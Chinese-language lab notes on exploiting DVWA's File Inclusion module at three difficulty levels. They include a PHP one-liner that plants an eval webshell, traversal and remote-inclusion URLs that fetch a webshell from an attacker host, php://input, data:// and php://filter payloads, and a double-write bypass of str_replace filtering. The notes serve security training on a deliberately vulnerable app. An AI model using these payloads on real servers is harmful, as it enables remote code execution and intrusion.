Day_3_文件包含
第三天
DVWA靶机 File Inclusion
0x00 Low Level
总结
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
关于该漏洞的三种方法:
- 文件上传
- 远程包含
- php伪协议
注意
1. 文件上传
利用之前上传的Websell.php文件,可以构造url
url(相对路径)
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../hackable/uploads/Webshell.php&cmd=system("dir");
url(绝对路径)
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1/DVWA-master/hackable/uploads/Webshell.php?cmd=system("dir");
- ../代表退回上个目录
- 相对路径的url用?给cmd传参会产生报错,指出include_path 因为php将?后面的当作参数而不是路径,但是include还是当作路径,所以包含的文件要想传递参数可以使用&
源码index.php
if( isset( $file ) )
include( $file );
else {
header( 'Location:?page=include.php' );
exit;
}
关于include
NEW IDEA
文件上传漏洞可以和文件包含漏洞连用,比如说如果一个服务器既可以文件上传又可以文件包含,可能在文件上传的时候限制了必须是图片类型同时还没办法绕过,那么可以考虑将一句话木马改成图片的形式,从而成功上传,得到上传的地点,通过文件包含在url中进行执行该文件,通常选择在当前目录下生成新的shell脚本然后与蚁剑等管理脚本的工具连接。
常用的一句话木马:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
在当前目录下建立php文件,内部内容为一句话木马
2. 远程包含
指文件在攻击机中并未上传,但是却可以在url中输入其所在位置,并且服务器可以执行。
这里因为靶机建在D盘所以可以将C盘模拟视为攻击机所在位置,而一般情况下都会考虑将虚拟机视为攻击机
如果将虚拟机(kali)视为攻击机
-
虚拟机开启apache。
-
从虚拟机的本地网络文件下(var/www/html)存放用于攻击的脚本文件。
-
在被攻击服务器的url中page传参过程中输入kali虚拟机ip地址
?page=http://ip/Webshell.php
3. PHP伪协议
一般的解释:
PHP伪协议是一种特殊的协议,它可以让PHP执行一些特定的操作。虽然称为“伪协议”,但实际上它并不是真正的协议,而是一种通过URL来执行特定的PHP代码的机制。
url中使用特殊的前缀指示php执行特定的代码
- 一些伪协议类型
(1) file://
访问本地文件
$contents = file_get_contents(‘file:///path/to/file.txt’);
(2) http:// && https://
通过HTTP访问远程的资源
$content = file_get_contents('http://example.com');
(3) php://
将PHP代码作为字符串传递给PHP函数进行处理,常用于动态生成代码或执行简单的计算。
php://filter
?page=php://filter/read=convert.base64-encode/resource=file1.php
通过php协议读取本地敏感的源代码,经过base64加密,返回
需要知道网站的目录结构,文件的路径
php://input
post请求中的数据作为PHP代码执行
url: ?page=php://input
post: <?php phpinfo(); ?>
可以尝试用Burpsuite进行抓包,将url修改为?page=php://input ,然后在抓包的末尾,加入希望执行的php代码。
(4) data://
将数据嵌入到 PHP 脚本中,与php://input类似是执行代码,但是不同的是执行的方式。
url1: ?page=data:text/plain,<?php 执行内容 ?>
or
url2: ?page=data:text/plain;base64,base64编码后的php代码
这两个方法在本题中都经过实验是可行的
0x01 Medium Level
源码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
这里我们可以知道进行了黑名单过滤,但是根据对str_replace函数的了解,可以通过双写绕过的方式实现
关于什么是双写绕过
基于str_replace函数自己存在的安全隐患,其无法进行迭代过滤,只会将第一次检索出来的问题替换掉,因此我们可以采取双写的方法
eg: http:// --> hthttptp://
本质:最大程度的利用函数不安全漏洞,进行通过简单处理,绕过黑名单检查,也就是说为什么黑名单(不允许某些类型输入通过)安全性更低,因为很难完全避免。
0x02 High Level
源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这个就是白名单的应用了,只允许开头是file的输入通过,正好可以使用伪协议中的file伪协议,将脚本文件上传服务器(知道其绝对路径),通过file协议包含上传的文件,实现相关代码。
可以参考文章
总结
- url中包含文件需要传参数,从而影响产生报错的问题:&
- PHP伪代码
- 双写绕过的思想